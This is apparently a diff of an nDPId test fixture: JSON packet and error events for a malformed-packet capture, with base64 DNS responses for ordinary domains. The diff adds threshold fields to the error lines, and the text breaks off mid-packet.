01404{"packet_event_id":1,"packet_event_name":"packet","packet_id":27,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":830,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":830,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcZ2IgADgRNxXOg9J2zLpQ5QA17oYI5FghcmaEEAABAAMABgANBnN1cnZleQhzYWZlbGl0ZQNjb20AAAEAAcAMAAEAAQAAcIAABM6D1BvADAAuAAEAAHCAAKAAAQUDAABwgFknjltZIkdgNvwIc2FmZWxpdGUDY29tAHe+sxe671rWzIUuSmcuIX5JDt2N6FBy\/TemnpDPfETG94sVtxgFhyH+9XDJ8vfBDApGjbQsaNpmhYgJ2jGuM6aa11KsYrpTFxQi3Mq4Mwmb85sg1M7tWwMA\/a9WEJvxthxxgFLD9e7N14XoZuciOXyDRzakdNxJe0xON4TdbMVJwAwALgABAABwgACgAAEFAwAAcIBZJ45bWSJHYFgXCHNhZmVsaXRlA2NvbQDY7GqPPxR3njuOxu6CCj1boxBl0v+KT3lL29Er72LdcsNtFbp2T5f6Lq+bUDJ6aGZ\/GGcJlbZVeSixgLiHv\/3WIrKbFRcxzmntMnI1WXDaq+hOKYUph2hgpvcyTFEbaygdhl5BdaaPauPAfweczJEJCc6TxoWZ0SzqEG1+NouhyMD\/AAIAAQAAcIAABwRuczAzwP\/A\/wACAAEAAHCAAAcEbnMwMcD\/wP8AAgABAABwgAAHBG5zMDLA\/8D\/AAIAAQAAcIAABwRuczA0wP\/A\/wAuAAEAAHCAAKAAAgUCAABwgFknVclZIgjZNvwIc2FmZWxpdGUDY29tAE+K9vCahuql+Dus\/olbzgxR6+xtIAxjgCV7w4P+TDgF96\/wvufu2LlMtgwWwEYPqWlh\/QSV3c3y2mgUeKsDgKDUKBPY4oAN1Ii5SdYXKnxedkDm6CDq2YBIJ\/f3K2Jens9\/DIVOgUFp+Zi9a7TtLhmA1IAcJwnXvflL7avBNhUUwfcALgABAABwgACgAAIFAgAAcIBZJ1XJWSII2VgXCHNhZmVsaXRlA2NvbQDFMtAOhXQ\/tcn8Bg0YsK0LCXQz9eeItGf3CI8d+ppJ3a1qxqTbsYvEPqKVPVXIPiYJ3ICi3zqAg5mc5470ZgSSPw3eDcdgkQ\/2sH6VsrvHw1pWLDtNZPd6cO+KsvNtbbCZ6JY="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":28,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":37,"global_ts_usec":1495451247437895} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451247437895,"packet_id":28,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":37,"global_ts_usec":1495451247437895} 00372{"packet_event_id":1,"packet_event_name":"packet","packet_id":28,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":71,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcWZUgADkRzYvQTkcCzLpQ5QA1l\/cF7eAXMAuEEAABAA4ABgABBG1haWwFaG91enoDY29tAAA="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":29,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":111,"global_ts_usec":1495451247676188} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451247676188,"packet_id":29,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":111,"global_ts_usec":1495451247676188} 00473{"packet_event_id":1,"packet_event_name":"packet","packet_id":29,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcSyQgADkRLD3MDfsCzLpQ5QA10qYGN8NYfIeEEAABAAUABgABBWhvdXp6A2NvbQAAEAABwAwAEAABAAk6gABFRGdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbj0zWEpwSUlaRzJZeUVCWnlPYUs1ZWZrWDFnN21qaFV1aVhqT2xKZw=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":30,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1194,"global_ts_usec":1495451309206320} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451309206320,"packet_id":30,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1194,"global_ts_usec":1495451309206320} 01928{"packet_event_id":1,"packet_event_name":"packet","packet_id":30,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1228,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs98gADgR3UqMWiHtzLpQ5QA1U+IKco350KyEEAABAAMABAANB2VkZ2UtcDEBbARub2FhA2dvdgAAHAABwAwAHAABAAAAHgAQJhAAIIgAjAAAAAAAAAAAJMAMABwAAQAAAB4AECYQACCAAIwBAAAAAAAAACTADAAuAAEAAAAeAR4AHAUEAAAAHlkr8xJZIriS1gsBbARub2FhA2dvdgCV6O\/WR3JCSK+C7cZBu3S3X5K0UHxpncAfxFmSgHubPtuQ+ppFRTp+1fHbrUOyCpixD7BN4GSPyT84LF8EMzJbQxH0r2LLAvgtvgpUbYL7Z7w18yYTnE6XGfHtthXb1ZOye1L2hiRfpzbmmXCHOKb6LEYuPXKYSPhX2n+ImdcFypwUqYfMSD9FcjNa3Jo3Oqro2WuMMbD2gPnRfJ8TdXYRG4VNmibFauhfDGpn9UeUfORtwE7m2jOvlQ6Qvy9OpZkqoNE2Vdtt7jPJm2tzt5OKxSjI1XLv3boeUU7hE7UYEXONrZssQLYvDrWx9GDK\/I6MmaWyMYZAJODqzmpC6mevwHoAAgABAAFRgAAHBG5zLWXAfMB6AAIAAQABUYAACAVucy1td8B8wHoAAgABAAFRgAAIBW5zLW53wHzAegAuAAEAAVGAAR4AAgUDAAFRgFkr8xJZIriS1gsBbARub2FhA2dvdgAeLq4NmnVkcNxQ2ECZHAEvCMi5MZYEL8edA7YVxsb2UBGFIEGs\/0MCPjY5njGkf1suVTZtcwyT75u2gFjZgWxP1+c7rm4cmvpvBe+wC0vSebZWwrbWCerbFqwFr8WbzPO2CxG0Zn8pbBKC9uM1kn0tU08OZWkEPnxTJXMcLAZSYKzHnM3Abd9+nCKn5iCnhESUxIPjqzi3TtF47AxxSw8oSy\/22YcIyG5RxzRRDhaTIGZj9gjcsM8kyra2eumMo4lRPXVhwaJ6DQF2GVKV8FslkU9\/qAyzckJZU+4ClRBUn7ZyYZlZnrFBAgj7Zmr2QS9x22hcQerFh+735VmloZaXwZIAAQABAAFRgAAEjFoh7cGSABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBpQABAAEAAVGAAASMrBHtwaUAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8G5AAEAAQABUYAABKE3IALBuQAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwZIALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBkgAuAAEAAVGAAQ=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":31,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":327,"global_ts_usec":1495451309834554} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451309834554,"packet_id":31,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":327,"global_ts_usec":1495451309834554} 00765{"packet_event_id":1,"packet_event_name":"packet","packet_id":31,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":361,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2UgADURSHOMrBHtzLpQ5QA1ufwM17VSuDGEEAABAAYABAANA21hZwRuY2VwBG5vYWEDZ292AAABAAHADAAFAAEAAAEsAAsDbWFnBGNwcmvAEMAMAC4AAQAAASwBIQAFBQQAAAEsWSuLaVkiUOlQZARuY2VwBG5vYWEDZ292ADcGQyBFP4D+oljdb2+uDa9\/19GSwvR6WriPq+5z0bu\/0ZaU\/D8IQsmXY34oOVHWkzG6MucH8ZmcfTOJDErUlSNSiRzFT51PBmw6nGKnxTSwXkETkX04Oo9QP2yzVDt5BovyB6C9tXHehSkdYBFKv3dkwzGxANJxhe+yFBxgwF9UCs8+cZEJOlz8tn056cIu0n8cLm0Luw3FG\/hQGfvItzUlOxBl1A60sdiGmy6QUdNCXAcNU0yZ9pOPKxcCxUBH4IhMSpEnUlvPR6QJH5nmfUQe2XEJKZYxCw=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":32,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1157,"global_ts_usec":1495451309971567} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451309971567,"packet_id":32,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1157,"global_ts_usec":1495451309971567} 01879{"packet_event_id":1,"packet_event_name":"packet","packet_id":32,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1191,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2YgADURSHKMrBHtzLpQ5QA1igkKTYrrwr6EEAABAAIABAANA3d3dwx0c3VuYW1pcmVhZHkEbm9hYQNnb3YAAAEAAcAMAAEAAQAAASwABIxaccjADAAuAAEAAAEsARwAAQUEAAABLFkri31ZIlD9PnMEbm9hYQNnb3YAYj6eILo+qkq5k18ERYBx0xRM9\/G7L0FZIt4YRMfTu\/USwfAnYN75io2kNkONiogWmMZ4Lag7k3IYxgcesHSZm7PZPDgrUXlAcd3yvVMKVKTxcZWm4erxNJExiN8+R7+gO8BV6r5YHq7uAPRDiCQOsXNlXUlDbrs1lqRHqt+\/of11uAQ6meqXGXmKksSlBj5fbAkW1+8cB\/QSQlJjzyciYH5OpnBXSP0xkvRyxYbMOP3yK39llO\/1t56mjX6N00VukVX1CCuCNDvCVEnhc9yhfw9oDlronPvyL2kVGsfMWn8txFzsS3wqbAr7fJQNwFsN6v7JS37aCBEsfLcqNMdRvcBZAAIAAQABUYAACAVucy1td8BZwFkAAgABAAFRgAAIBW5zLW53wFnAWQACAAEAAVGAAAcEbnMtZcBZwFkALgABAAFRgAEcAAIFAgABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AH\/\/EM5XxGUAJzS0k3FL5gqwtJA4FBuTo0uxBkbdgNOM7eIqyHshwuqLDq45ztJouzzqb5\/+QwdCyRboRA6YQcMyduo30hAwZBPjCwFtGtCbCO0zddpUh\/DZBFgSPh2dFJqb9c9JuhHoz3+E4Y9URJn+5DpaoXNsnl89Rx6siUb+Rihm7C+Vk315amYja69lUQmg3PNcdUVXF76DLNDZ9f0J\/NtTrjCtrMqxXjzjQDEOf1LyNKCNPvCsDV8BtRjU3VnXwwNw9fAKyA0zjlIJMDcZHgtkbmrTB9mFGy8tMxbqfFpB+6mG8tYtHiQWLDq6x9iFxvHJ7caHhZ1nCy6pTLXBlwABAAEAAVGAAASMWiHtwZcAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8FvAAEAAQABUYAABIysEe3BbwAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3wYMAAQABAAFRgAAEoTcgAsGDABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBlwAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8GXAC4AAQABUYAB"} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":33,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1194,"global_ts_usec":1495451310199170} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451310199170,"packet_id":33,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1194,"global_ts_usec":1495451310199170} 01930{"packet_event_id":1,"packet_event_name":"packet","packet_id":33,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1228,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+EgADgR3UiMWiHtzLpQ5QA1YrcKcmZcnv2EEAABAAMABAANB2Ryb3VnaHQDZ292AAAcAAHADAAcAAEAAA4QABAmEAAggEAAAgAAAAAAAAFxwAwAHAABAAAOEAAQJhAAIIBAAAIAAAAAAAABcsAMAC4AAQAADhABHwAcBQIAAA4QWSuLOFkiULjwAAdkcm91Z2h0A2dvdgCiFhT73R8JkfGDTfZ4di36jz5eyOGbPz32qAMnwn4nlyVmuvzkf4NiJ96OxTP54IIqeClIfVaS9wEAfT+47pslkKZCPVwuhmOe6fDooq+GLDJv0+Ghc9188DOEwVA6ulHxE25woNOlZB13Uz3i90Fc0vOaXvfF9ZGxFm4J9mw3dWtYg4\/ds36+RRrCA9x3ERJDt7HPku5qZtP0xKuN8yDtutEHNQ+PFq\/yqbVvE6s5DpPsYgJR0mKl+kuenRHwsn7+W8RejJkXBdU0ylZRMFbsC3fBOassmaNP6p110AEWGpszbswU0n7MR6eCsSeyRW3u+kxNbB3DHriPINnb\/25ywHMAAgABAAAOEAANBW5zLW53BG5vYWHAe8BzAAIAAQAADhAACAVucy1td8GSwHMAAgABAAAOEAAHBG5zLWXBksBzAC4AAQAADhABHwACBQIAAA4QWSuLOFkiULjwAAdkcm91Z2h0A2dvdgAXXbMkYPS9QUln5hjQ9vMJUQmj7EOZmvYJzaa79X6dsVN8FpugM8E25umwpE\/dq29ve8D++P2tnJQfbDgKbTCzWcNRmJZVue8tdC5OTorh1HBmQkpoumFnTbmtekcohQkMcnb3AmWMR742fJ5XNYHgW7Ap4AaJ+wubZ2DGMzIxl72\/ofg+1dcqnAgbyQV8y0ogjIlloPBWpcRwxyL+zdk7S+iyN6s+YgfobuDo5dbvDWNky63CGBbyLqEaC7wzznplPJLXci32DUon7xJA0oUr7x\/h5U6kgccx3MbgKjnlj1l0PwM\/R2IbRlpN9BAQ34xrrixU4+6ApBRbB3spHijNwbkAAQABAAFRgAAEjFoh7cG5ABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBpQABAAEAAVGAAASMrBHtwaUAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8GMAAEAAQABUYAABKE3IALBjAAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwbkALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBuQAuAAEAAVGAAQ=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":34,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1158,"global_ts_usec":1495451311326374} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451311326374,"packet_id":34,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1158,"global_ts_usec":1495451311326374} 01888{"packet_event_id":1,"packet_event_name":"packet","packet_id":34,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1192,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+IgADgR3UeMWiHtzLpQ5QA1+8YKTsy4mcCEEAABAAIABAANA3d3dwd0c3VuYW1pA2dvdgAAAQABwAwAAQABAAAOEAAEjFplPMAMAC4AAQAADhABHwABBQMAAA4QWSnFrFkgiyw3Ggd0c3VuYW1pA2dvdgAJEO7XiuA+vhpIYobOdRe1yI2VB\/j2mzi\/2yP1Lp9H4M5qjusV7CkPVxOQC0AaCcVxqT4M6bztlrT7qUL0A1w3xQdNOpdYK4DVjBCuxhfx\/pX\/Rq0kECnDSkfE1jj7zqbQ61fish6MQQophJFU+Am6c5wLoF1vAyR8qdln5pLZ1FEOPVwHhvgDFyv98HmMD00pw\/wVmA65j4meeVRLeQ3a837VsRiT4jJKffufwtmx5Eqpxa2\/kJw53hWYnnMS38GIEaZRlEQM2vGca6sB3+N+kJQ1oGEgcMiONiOotB9a5cfHgsVEbIgj1jFGWNkedySgudQrRBslLuL9OimDWkL2wE8AAgABAAFRgAAMBG5zLWUEbm9hYcBXwE8AAgABAAFRgAAIBW5zLW53wW3ATwACAAEAAVGAAAgFbnMtbXfBbcBPAC4AAQABUYABHwACBQIAAVGAWSnFrFkgiyw3Ggd0c3VuYW1pA2dvdgAtNAttZ2tlqpXEcOn7mcA\/Z0HMna2P7rrtJXnupFJ5uos8L3b6TswIuV1nZPJ\/S0K4ZvjUZJukTJ5dsR\/z2bbQiS1uixECpVlyZZOXhp3A0rmQKUIYpz+yrwlZ4Dcq1wOupPxo1PMQl4AwQrMNxeyrQ0QU9G49JKGe20YA1Lhz1N+J4QbO5Tu3vWoPjnfsCEURngIIHow6qjNrrZEhlA929gSEpDzFDBqOvEXIedVxUEt\/nMPYmTYEM5I+66eeFT9HrjHCjzLWlP00hbu089PduHD\/KIRGO7Fs2DNO2Yt\/9FqjLrVhvcG5ptrnTz9lTYR\/uQVtLKTsydCWVZF9YLTOwWgAAQABAAFRgAAEjFoh7cFoABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBlAABAAEAAVGAAASMrBHtwZQAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8GAAAEAAQABUYAABKE3IALBgAAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwWgALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBaAAuAAEAAVGAAQ=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":35,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1157,"global_ts_usec":1495451311524226} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451311524226,"packet_id":35,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1157,"global_ts_usec":1495451311524226} 01874{"packet_event_id":1,"packet_event_name":"packet","packet_id":35,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1191,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2cgADURSHGMrBHtzLpQ5QA1l38KTYdoHVOEEAABAAIABAANA3d3dwZub2hyc2MBbARub2FhA2dvdgAAAQABwAwAAQABAAAAHgAEwC5sA8AMAC4AAQAAAB4BHgABBQUAAAAeWSvzElkiuJLWCwFsBG5vYWEDZ292AEmbFbdVf7FrZdNM0IbcWdEpLfLseHOhwkbd9Xyz04fYyQrhx+Jovb0Em+GuaroqiO5SKtEQJqVCCZB9p842uoKxho+pPpdJyWiQc7GnXhWdDNWtJHOkPmoq3wrf3jfnkFfPCy15tQqxwItlfzeoXa47K\/rbLzji9J6Cj82yysecO7bElXtCuXkKPdBLHf390b9a43nJCO8borqU1G0mIjq1zfMZZF6Kibws4+mFg0EdoxSpF65NctKwuurIJVArvCE11J8PbHegAuvbVEpvXwtS4p8hvMfMnJvNSqKpfuQhDV7nHNaRPD8uISM\/x8CbB8jQLQpUussqmlC6PtCbdXfAVQACAAEAAVGAAAgFbnMtbnfAV8BVAAIAAQABUYAACAVucy1td8BXwFUAAgABAAFRgAAHBG5zLWXAV8BVAC4AAQABUYABHgACBQMAAVGAWSvzElkiuJLWCwFsBG5vYWEDZ292AB4urg2adWRw3FDYQJkcAS8IyLkxlgQvx50DthXGxvZQEYUgQaz\/QwI+NjmeMaR\/Wy5VNm1zDJPvm7aAWNmBbE\/X5zuubhya+m8F77ALS9J5tlbCttYJ6tsWrAWvxZvM87YLEbRmfylsEoL24zWSfS1TTw5laQQ+fFMlcxwsBlJgrMeczcBt336cIqfmIKeERJTEg+OrOLdO0XjsDHFLDyhLL\/bZhwjIblHHNFEOFpMgZmP2CNywzyTKtrZ66YyjiVE9dWHBonoNAXYZUpXwWyWRT3+oDLNyQllT7gKVEFSftnJhmVmesUECCPtmavZBL3HbaFxB6sWH7vflWaWhlpfBlQABAAEAAVGAAASMWiHtwZUAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8GBAAEAAQABUYAABIysEe3BgQAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3wW0AAQABAAFRgAAEoTcgAsFtABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBlQAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8GVAC4AAQABUYAB"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":36,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":504,"global_ts_usec":1495451320578334} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451320578334,"packet_id":36,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":504,"global_ts_usec":1495451320578334} 01009{"packet_event_id":1,"packet_event_name":"packet","packet_id":36,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":538,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":538,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcm2UgADwRZEWcmp8szLpQ5QA1q4QHwM\/ij\/aEAAABAAkAAAABBWNpc2NvAAAwAAHADAAwAAEAABwgAIgBAAMIAwEAAdRGl1LNWnzy7pAEJi3Qfp0TyGaJmTkZh6eXbbqBdkY9a1AoaD29yVHLBBpWMSQjH95pwspn6IcXgzevKG6XFhwPNM+E0S7Ju2k\/7H2VuFBNC29dnwoJg4icT5epf3G8zmCaNYnLVZLs5atUCkBlhgvwscnvv\/TSmgpTXYQuqFu\/wAwAMAABAAAcIACIAQADCAMBAAGb2PYROIXk7P7qLTWvxVk3g1BsHjHVl72rmOzt5smqLLn23qp74hnC88zJUUWv21Kqy8BhoPdBWvuS3K8EynHYxDv8VO+YXAgqPkxai26z4TwjzZmHJVKWTKIiQzsakq\/w839oY5NLQsHtKpX4hQW\/\/wsieSUyQBsu2l28RS8I1cAMADAAAQAAHCABCAEBAwgDAQABygOnV9ghCwCrh3eIvDoG++8o80Fto28a\/p6JEdC+lLUNcG3Y9tAyIDCo8XUGee3bePYL4ZzXyCqJp7IksLLiu1iB6COA3ZuzD54vWOW2TJDtbTnlLS\/u7yD3YgI8LRcGSwoN2sUUDjhQxtd1fWfVIvI03XN5eQAXgcBIZZGdNKBR\/XOzYiDors4mheJ4ps\/1KYBH9kdGGiRmovRgfQ=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":37,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":757,"global_ts_usec":1495451362335777} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451362335777,"packet_id":37,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":757,"global_ts_usec":1495451362335777} 01348{"packet_event_id":1,"packet_event_name":"packet","packet_id":37,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":791,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":791,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc0esgADMR6diEowQKzLpQ5QA1Y8kIvV9wUR6EEAABAAMABAANBnRpbWUtYgh0aW1lZnJlcQdibGRyZG9jA2dvdgAAAQABwAwAAQABAAAHCAAEhKMEZsAMAC4AAQAABwgAnwABBwQAAAcIWSrzRVkhuCFcsQdibGRyZG9jA2dvdgCz4vohuOo\/ZN1uNZLF+UDD3qHzJ2C3tMHOSiioVq033RO+ipzXapwQ4E4BS5zpIr923AlaL\/9WhCQy\/1Y1em3YZ3AdccyxO0gssoEPbElS149\/ac9HrbYG6d20TbbVB+VxK1L4MHmWOCcJMgpGO42vZ1KmHAZxDSlAli+HvMzpRsAMAC4AAQAABwgAnwABBwQAAAcIWSrzRVkhuCGY5AdibGRyZG9jA2dvdgBW5VUxo2FURuhTFYytwadnYHGDoScx7bGNWmJUvbniq24ec9+NK5A\/tqH7Lb1b3crN9Prt\/g\/MsebeMzTxodqie2+H6hdDZbplhskKnOEu5xRS1cUQfYmye\/wwniirGeCr1GVyInNfmb1RMzIVhXHumDFYR5pqMpRB6